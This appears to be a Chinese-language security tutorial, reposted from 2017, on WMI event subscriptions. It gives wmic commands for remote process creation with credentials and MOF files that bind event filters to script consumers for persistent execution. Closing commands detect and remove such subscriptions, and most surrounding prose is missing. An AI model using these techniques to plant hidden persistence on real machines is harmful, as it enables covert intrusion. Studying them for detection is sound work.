本文讲的是
在不熟悉C/C++情况下,hook windows事件,
介绍
$ get-wmiobject win32_logicaldisk name, freespace, systemname, size -filter drivetype=3 __GENUS : 2 __CLASS : Win32_LogicalDisk __SUPERCLASS : __DYNASTY : __RELPATH : __PROPERTY_COUNT : 4 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : FreeSpace : 34652438528 Name : C: Size : 106901270528 SystemName : AI-PINCHEWEEEY-VM PSComputerName :
$ Get-WMIObject Win32_ShadowCopy -List).Create("C:", "ClientAccessible").ShadowID
$ wmic logicaldisk where drivetype=3 get name, freespace, systemname, size FreeSpace Name Size SystemName 33230168064 C: 106901270528 AI-PINCHEWEEEY-VM
$ wmic process call create "notepad.exe" Executing (Win32_Process)->Create() Method execution successful. Out Parameters: instance of __PARAMETERS { ProcessId = 2416; ReturnValue = 0; };
$ wmic process where name="notepad.exe" delete Deleting instance AI-PINCHEWEEEY-VMROOTCIMV2:Win32_Process.Handle="2416" Instance deletion successful.
Win32_Process (“edit”, query processes) Win32_Service (“edit”, query services) Win32_Directory (“edit”, query directories) Win32_Shares (“edit”, query network shares) Win32_LocalTime (query time)
$ wmic /node: "192.168.1.10" /username:domainuser /password:pwd process call create 'notepad.exe' Executing (Win32_Process)->Create() Method execution successful. Out Parameters: instance of __PARAMETERS { ProcessId = 5176; ReturnValue = 0; };
如何hook windows事件呢?
__EventConsumer: 指定执行程序 __EventFilter: 设置执行时间 __FilterToConsumerBinding: 将执行程序和执行时间进行绑定
instance of ActiveScriptEventConsumer as $Cons { Name = "ASEC"; ScriptingEngine = "VBScript"; ScriptText = "Set objShell = CreateObject("WScript.Shell") n" "objShell.Exec("c:windowssystem32cmd.exe /c echo MOF Script Output>c:mof_output.txt")n"; };
instance of __EventFilter as $Filt { Name = "EF"; EventNamespace = "rootcimv2"; QueryLanguage = "WQL"; Query = "SELECT * FROM __InstanceCreationEvent " "WITHIN 2 WHERE TargetInstance ISA 'Win32_Process' " "AND TargetInstance.Name = 'notepad.exe'"; };
instance of __FilterToConsumerBinding { Filter = $Filt; Consumer = $Cons; };
#pragma namespace (".rootsubscription") instance of ActiveScriptEventConsumer as $Cons { Name = "ASEC"; ScriptingEngine = "VBScript"; ScriptText = "Set objShell = CreateObject("WScript.Shell") n" "objShell.Exec("c:windowssystem32cmd.exe /c echo MOF Script Output>c:mof_output.txt")n"; }; instance of __EventFilter as $Filt { Name = "EF"; EventNamespace = "rootcimv2"; QueryLanguage = "WQL"; Query = "SELECT * FROM __InstanceCreationEvent " "WITHIN 2 WHERE TargetInstance ISA 'Win32_Process' " "AND TargetInstance.Name = 'notepad.exe'"; }; instance of __FilterToConsumerBinding { Filter = $Filt; Consumer = $Cons; };
$ mofcomp.exe .mof_script.mof Microsoft (R) MOF Compiler Version 10.0.10586.0 Copyright (c) Microsoft Corp. 1997-2006. All rights reserved. Parsing MOF file: .mof_script.mof MOF file has been successfully parsed Storing data in the repository... WARNING: File .mof_script.mof does not contain #PRAGMA AUTORECOVER. If the WMI repository is rebuilt in the future, the contents of this MOF file will not be included in the new WMI repository. To include this MOF file when the WMI Repository is automatically reconstructed, place the #PRAGMA AUTORECOVER statement on the first line of the MOF file. Done!
进行更复杂的攻击
instance of __EventFilter as $Filt { Name = "EF"; EventNamespace = "rootcimv2"; QueryLanguage = "WQL"; Query = "SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE " "TargetInstance ISA 'Win32_LocalTime' AND " "TargetInstance.Hour = 10 AND " "TargetInstance.Minute = 34"; };
如何检查我是否被入侵呢?
gwmi -Namespace "root/subscription" -Class __EventFilter gwmi -Namespace "root/subscription" -Class __EventConsumer gwmi -Namespace "root/subscription" -Class __FilterToConsumerBinding
gwmi -Namespace "root/subscription" -Class __EventConsumer | where name -eq "<NAME>" | Remove-WmiObject gwmi -Namespace "root/subscription" -Class __EventFilter | where name -eq "<NAME>" | Remove-WmiObject
结论
原文发布时间为:2017年8月3日
本文作者:xnianq
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。